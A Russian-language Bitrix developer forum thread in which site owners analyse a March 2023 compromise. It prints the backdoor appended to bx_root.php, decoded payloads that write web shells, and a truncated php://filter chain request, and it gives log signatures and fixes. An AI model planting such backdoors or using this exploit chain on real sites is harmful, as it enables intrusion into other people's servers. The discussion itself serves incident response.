Разработчикам

Форум

Взломаны сайты в честь дня конституции украины

Пользователь 47602

Посетитель

Сообщений: 29 Баллов: 4 Регистрация: 24.08.2009

#481

03.03.2023 15:28:10

а насколько такие пост-запросы опасны?

Код

post-1677829681.log   [----]  0 L:[  1+ 0   1/  3] *(0   / 510b) 0097 0x061                                                                                                                                                            [*][X]
array (
  'BX_STAT' => '303q66696p655s7075745s636s6r74656r747326313q3365323232383237616263302r70687026323q3p3s3q3430393732332n32303o6966286q643528245s434s4s4o49455o645q293q3q22313730323866343837636232613834363037363436646133616433383738656322297
)

Пользователь 7086178

Заглянувший

Сообщений: 6 Баллов: 2 Регистрация: 01.03.2023

#482

03.03.2023 15:48:11

Разбор того как работает взлом через POST к главной странице.

Используя ДРУГУЮ уязвимость поражают \bitrix\modules\main\bx_root.php дописывая в его конец это:

Код
<? if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "") parse_str(hex2bin(str_rot13($_POST["BX_STAT"])),$bx_stat) or die(str_rot13(bin2hex($bx_stat[0]($bx_stat[1],$bx_stat[2])))); ?>

Видимо по архитектуре Битрикса файл bx_root.php будет задействован при любом запросе. По крайне мере при запросе в корень точно.
Далее, атакующий в любой удобный момент времени посылает POST запрос примерно следующего содержимого:

Код
'BX_STAT' => '303q6669293......o7q7q3s3r'

В bx_root.php он расшифруется в следующее:

Код
0=file_put_contents&1=a0194226a99a.php&2=<?=409723*20;if(md5($_COOKIE[d])=="....?>

или в это

Код
0=file_put_contents&1=bitrix/admin/ea20360ee090.php&2=<?=409723*20;if(md5($_COOKIE[d])=="....?>

или даже в это:

Код
0=system&1=echo PD89N.....DA5NzI1lIl0pO319Pz4=\|base64 -d\| tee 5b186f810c33.php

parse_str заполнит 3 элемента массива $bx_stat, а потом будет вызвана функция с 2-мя аргументами $bx_stat[0]( $bx_stat[1], $bx_stat[2] )
и чаще всего это будет file_put_contents( virus_name, virus_body )

В логах веб-сервера это будет выглядеть как

"GET / HTTP/1.1" 200 3557 "-" ""
"POST / HTTP/1.1" 200 123 "-" ""
"GET /5b186f810c33.php HTTP/1.1" 200 3189 "" ""

Первый запрос GET к корню, потом экплойт через POST. Спустя несколько секунд проверка шелла GET /5b186f810c33.php
Как лечить? Удалить в bx_root.php добавленный код if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")

Но это все следствия! Как и множество других "страшнозакодированных" скриптов и .htaccess'ов которые здесь постили.
Причина, в моем случае точно, в другом. Вот с чего все начиналось:

Код
POST /products/index.php?ID=php://filter/convert.iconv.UTF8.CSISO2022KR\|convert.....

У Битрикса где-то внутри стоит что-то вроде include($_POST). Это и есть уязвимость LFI2RCE via PHP Filters!
Весь этот запрос ( он у меня есть ) путем манипуляций кодировок превращается в следующий код:

Код
<?php system($_POST["a"]); ?>

соответственно будет произведен запуск любой команды из POST параметра 'a'.
Ключевое слово для поиска в логах CSISO2022KR - это обозначение корейской кодировки, без нее ничего не работает.
Почему так - сказано в статье https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html

Как лечить? Пока поставить такую заглушку в /products/index.php
if($_SERVER['REQUEST_METHOD']=='POST') die();

Или глобально stream_wrapper_unregister('php')

Искать где находиться уязвимый код include($_POST) буду дальше.

Все полные логи и коды запросов имеются, могу выслать желающим

Пользователь 700243

Заглянувший

Сообщений: 11 Баллов: 1 Регистрация: 11.09.2018

#483

03.03.2023 16:22:11

Цитата
написал: В логах веб-сервера это будет выглядеть как Все полные логи и коды запросов имеются, могу выслать желающим

У меня в логах ничего похожего не видать, а результаты с htaccess'ами и рандомными файлами налицо. Версии файлов у меня от 2020 года. После накатывания бэкапа часа через два лезть всякое начинает. Но, может, плохо ищу. И CSISO2022KR тоже не вижу.

Пользователь 700243

Заглянувший

Сообщений: 11 Баллов: 1 Регистрация: 11.09.2018

#484

03.03.2023 16:23:59

Цитата
написал: Или глобально stream_wrapper_unregister ('php')

А как глобально можно враппер отключить? Это же так или иначе надо в сам файл php прописать, не в каждый же?

Пользователь 7093356

Заглянувший

Сообщений: 6 Регистрация: 03.03.2023

#485

03.03.2023 16:57:00

Цитата

написал:
Разбор того как работает взлом через POST к главной странице.

Первый запрос GET к корню, потом экплойт через POST. Спустя несколько секунд проверка шелла GET /5b186f810c33.php
Как лечить? Удалить в bx_root.php добавленный код if (isset($_POST["BX_STAT"]) && $_POST["BX_STAT"] <> "")

Возможно будет полезно кому то, у меня история крайне похожа, сайт упал, модифицированный htaccess хтмл файлы, да еще и ограничить вход с 1 ip толком не получается, но у меня не с POSTом дело у меня это выглядит так

Код
if(isset($_SERVER["BX_PERSONAL_ROOT"]) && $_SERVER["BX_PERSONAL_ROOT"] <> "") define("BX_PERSONAL_ROOT", $_SERVER["BX_PERSONAL_ROOT"]);

Я не могу назвать себя программистом, поэтому не могу найти источник проблемы, но если моя ситуация кому то поможет буду рад.

Пользователь 700243

Заглянувший

Сообщений: 11 Баллов: 1 Регистрация: 11.09.2018

#486

03.03.2023 17:09:16

Цитата

@Денис написал:

Цитата
Возможно будет полезно кому то, у меня история крайне похожа, сайт упал, модифицированный htaccess хтмл файлы, да еще и ограничить вход с 1 ip толком не получается, но у меня не с POSTом дело у меня это выглядит так

Код
if ( isset ( $_SERVER [ "BX_PERSONAL_ROOT" ]) && $_SERVER [ "BX_PERSONAL_ROOT" ] <> "" ) define( "BX_PERSONAL_ROOT" , $_SERVER [ "BX_PERSONAL_ROOT" ]);

Дык это нормальное содержимое bx_root.php, вот такой он в исходниках:

Код

<?
/*
$fname1 = __FILE__;
$fname2 = $_SERVER["DOCUMENT_ROOT"];
if(strpos($fname1, $fname2)!==0)
{
   $fname1 = realpath(__FILE__);
   $fname2 = realpath($_SERVER["DOCUMENT_ROOT"]);
}

if(strpos($fname1, $fname2)===0)
{
   $fname3 = RTrim($_SERVER["DOCUMENT_ROOT"], " /\\");
   $bx_root = substr($fname1, strlen($fname3));
   $bx_root = substr($bx_root, 0, strlen($bx_root) - strlen("/modules/main/include.php"));
}
else
   $bx_root = "/bitrix";

$bx_root = str_replace("\\", "/", $bx_root);
*/
$bx_root = "/bitrix";
define("BX_ROOT", $bx_root);

if(isset($_SERVER["BX_PERSONAL_ROOT"]) && $_SERVER["BX_PERSONAL_ROOT"] <> "")
   define("BX_PERSONAL_ROOT", $_SERVER["BX_PERSONAL_ROOT"]);
else
   define("BX_PERSONAL_ROOT", BX_ROOT);
?>

Пользователь 7093356

Заглянувший

Сообщений: 6 Регистрация: 03.03.2023

#487

03.03.2023 17:14:39

Цитата

написал:

Дык это нормальное содержимое bx_root.php, вот такой он в исходниках:

Тогда я уже не знаю куда смотреть, уже третий день валандаюсь с этой хренью, сегодня продлим лицензию и обновим платформу, но блин три дня.
Сначала подняли сайт прошерстили антивирусом, сайт работает, но хтмл файлы все равно появляются, хотя и пустые, просто шарики за ролики уже вылетают. Если обновление платформы не поможет то уже не знаю что делать

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#488

03.03.2023 17:24:17

vvv476, у Вас на исследуемом сайте стоят все актуальные обновления движка Битрикса?

запросы с CSISO2022KR возможно просто проверочные, так сказать скан по базе доменов на уязвимость
если они есть в логах это ещё не значит, что они отработали и сайт уязвим ...

для проверки осталось только реализовать уязвимость и попробовать на своём сайте

сугубо по фактам - мне не попадалось ни одного зараженного сайта с установленными актуальными обновлениями, так что делайте выводы

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#489

03.03.2023 17:28:04

Цитата
Солюшнс АВИ написал: вот такой он в исходниках:

в исходниках с закоментированным кодом?
если так, то я был лучшего мнения о команде программистов Битрикса

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Пользователь 13618

Эксперт

Сообщений: 1336 Баллов: 225 Регистрация: 05.04.2011

Сертифицированный партнер

#490

03.03.2023 17:31:55

Цитата
vvv476 написал: Почему так - сказано в статье https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html

переведите в 2х словах плиз

Мой блог - вопросы веб безопасности, разработка и поддержка сайтов.

Форум

Центр поддержки

Продукты

Управление сайтом

Битрикс24

Интернет-магазин + CRM

Решения

Для интернет-магазинов

Каталог готовых решений

Внедрение

Выбрать партнера

Проверить партнера

Стать партнером